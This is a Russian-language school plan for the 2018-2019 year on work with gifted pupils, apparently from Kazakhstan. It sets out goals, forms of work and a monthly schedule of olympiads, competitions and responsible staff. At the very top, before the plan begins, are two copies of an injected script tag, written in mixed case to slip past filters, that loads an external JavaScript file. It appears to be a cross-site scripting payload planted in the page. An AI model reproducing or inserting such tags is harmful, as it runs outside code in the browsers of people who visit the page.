<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
01.11.2018
План работы с одаренными и способными детьми на 2018-2019 уч. год. Организация НОУ
Цель: обеспечение благоприятных условий
для выявления, развития и поддержки
одаренных детей в различных областях интеллектуальной и творческой деятельности
Задачи:
- выявление и развитие детской
- одаренности и адресной поддержки детей в соответствии с их способностями,
- в том числе на основе инновационных технологий;
- расширение возможностей для
- участия способных и одарённых школьников в разных формах творческой и
- интеллектуальной деятельности.
Ожидаемые результаты:
- формирование системы работы с
- одаренными учащимися;
- творческая самореализация
- ученика школы через участие в разного рода конкурсах, интеллектуальных
- мероприятиях;
- увеличение количества одаренных
- детей школьного возраста - победителей конкурсов, соревнований, олимпиад,
- турниров разного уровня.
Основные направления работы:
- Выявление одарённых детей по
- разным направлениям.
- Корректировка программ и
- тематических планов для работы с одарёнными детьми, включение заданий
- повышенной сложности, творческого, научно-исследовательского уровней.
- Организация индивидуальной
- работы с одарёнными детьми.
- Подготовка учащихся к
- олимпиадам, конкурсам, викторинам, конференциям разного уровня.
- Консультирование родителей
- одарённых детей по вопросам развития способностей их детей по предмету.
Формы работы с одаренными учащимися:
- творческие мастерские;
- групповые занятия с сильными
- учащимися;
- внеурочная деятельность;
- кружки по интересам;
- занятия исследовательской
- деятельностью;
- конкурсы;
- интеллектуальный марафон;
- научно-практические
- конференции;
- участие в олимпиадах;
- работа по индивидуальным
- планам;
- сотрудничество с другими
- школами.
Направления:
|
Срок |
Содержание мероприятия |
Форма проведения |
Ответственные |
|
Август-Сентябрь |
1.Изучение интересов и склонностей учащихся: степени одаренности обучающихся. 2.Планирование и организация работы НОУ « Ступени к успеху», факультативов для детей с повышенными учебными возможностями 3.Формирование списков обучающихся. 4. Проведение совещания по результатам диагностирования способных учащихся 5. Разработка системы поощрений победителей олимпиад, конкурсов, фестивалей. 6.Составление плана работы с одаренными детьми по предметам 7. участие в конкурсе научных проектов «Зерде», согласно заявке 8. Подготовка и участие в конкурсах «Тілдарын» среди учащихся 9-11 кл., |
Анкетирование Собеседование Составление банка данных Заседание ШМО |
Педагог-Психолог Классные руководители
Завуч по УВР, Рук ШМО учителя- предметники
Завуч по УВР, Рук ШМО учителя- предметники |
|
Октябрь |
1.Подготовка и проведение школьной олимпиады среди 6-11 классов. 2.Подбор заданий повышенного уровня сложности для одаренных детей 3. Повышение эффективности подготовки учащихся к олимпиадам по результатам диагностики и мониторинга. 4. Подготовка уч-ся к городской олимпиаде по предметам среди уч-ся 8-11 кл 5. Подготовка памятки и рекомендаций для обучающихся по различным видам деятельности с целью обеспечения их психолого-педагогической поддержки. |
Школьный тур олимпиады
заседаниеМО |
Зам по УВР, РУК ШМО
учителя-предметники
руководители ШМО |
|
Ноябрь |
1.Подготовка к участию в городских олимпиадах по общеобразовательным предметам. 2.Межсекционное занятие «Правила работы с различными источниками» 3. Собеседование «Методика защиты исследовательских работ»
|
Индивидуальные занятия с победителями школьных олимпиад практическое занятие Отчет на заседании МО |
учителя-предметники
Библиотекарь
Завуч по УВР заседание секции НОУ |
|
Декабрь |
1.Размещение информациии о результатах школьных и городских олимпиад на сайтах школы. Награждение победителей 2.Анализ итогов школьных и городских олимпиад. |
Отчет на заседание метод совета
|
Совет старшеклассников Руководители ШМО
Завуч по УВР |
|
Январь |
1. Подготовка и участие в конкурсе « Жарқын болашақ» среди уч-ся 5-11 клкл 2. Начало оформления творческих работ 3. « Сокровища русской поэзии» участие в конкурсе
|
Отчет на заседание метод совет,корректировка планов
|
Завуч по УВР заседание НОУ по секциям
|
|
Февраль |
1.Индивидуальные консультации по оформлению исследований 2. « Білім турнирі» по казахскому языку среди 5-7 кл. 3. « Қазақ ертегілер-халық қазынасы» среди 5-7 кл подготовка и участие |
Индивидуальные занятия Отчет учителя МО
|
Руководитель ШМО Учителя -предметники
|
|
Март |
1.Месячник «Презентация работы с одаренными детьми» 2. Конкурс театральных коллективов « В лучах рампы» 3. Конкурс чтецов « Абаевские чтения» среди 4-х кл |
Индивидуальные занятия консультации Отчет учителя МО |
Руководитель ШМО Учителя-предметники |
|
Апрель |
1.Работа предметных МО с одаренными детьми 2. Результаты достижений учащихся 3. .Творческий отчет членов НОУ. 4. Выпуск тематического сборника работ, представленных к неделе науки и творчества 5. «Турнир знаний» среди 3-4 кл,среди 5-7 кл 6. Конкурс научных проектов среди 8-11 кл |
Отчет предметника на заседании МО
Заседание секции НОУ |
Завуч по УВР Руководитель ШМО
Руководители секции |
|
Май |
1. Анализ работы с одаренными обучающимися, перспективы в работе на 2019 -2020 учебный год. |
Составление плана |
Руководитель ШМО Совет старшеклассников Учителя-предметники |
|
В течение года |
Участие в конкурсах на различном уровне, Участие обучающихся в Интернет-олимпиадах. |
|
Руководитель ШМО Учителя-предметники
|
|
В течение года |
Подготовка учащихся к научно-практической конференции «Ступени к успеху». |
|
Завуч по УВР Совет старшеклассников НОУ « Ступени к успеху»
|
|
В течение года |
Оказание методической помощи учителям-предметникам, классным руководителям по организации работы развития интеллектуальных способностей обучающихся на уроке и во внеурочной деятельности |
заседание методического совета |
Завуч по УВР Руководитель ШМО Учителя-предметники
|
|
В течение года |
Консультации психолога по поддержанию психологической стабильности, психорегуляции, творческого саморазвития |
Тренинги Индивидуальные занятия |
Психолог |
|
В течение года |
Создание в учебных кабинетах картотеки материалов повышенного уровня сложности |
|
Учителя-предметники
|
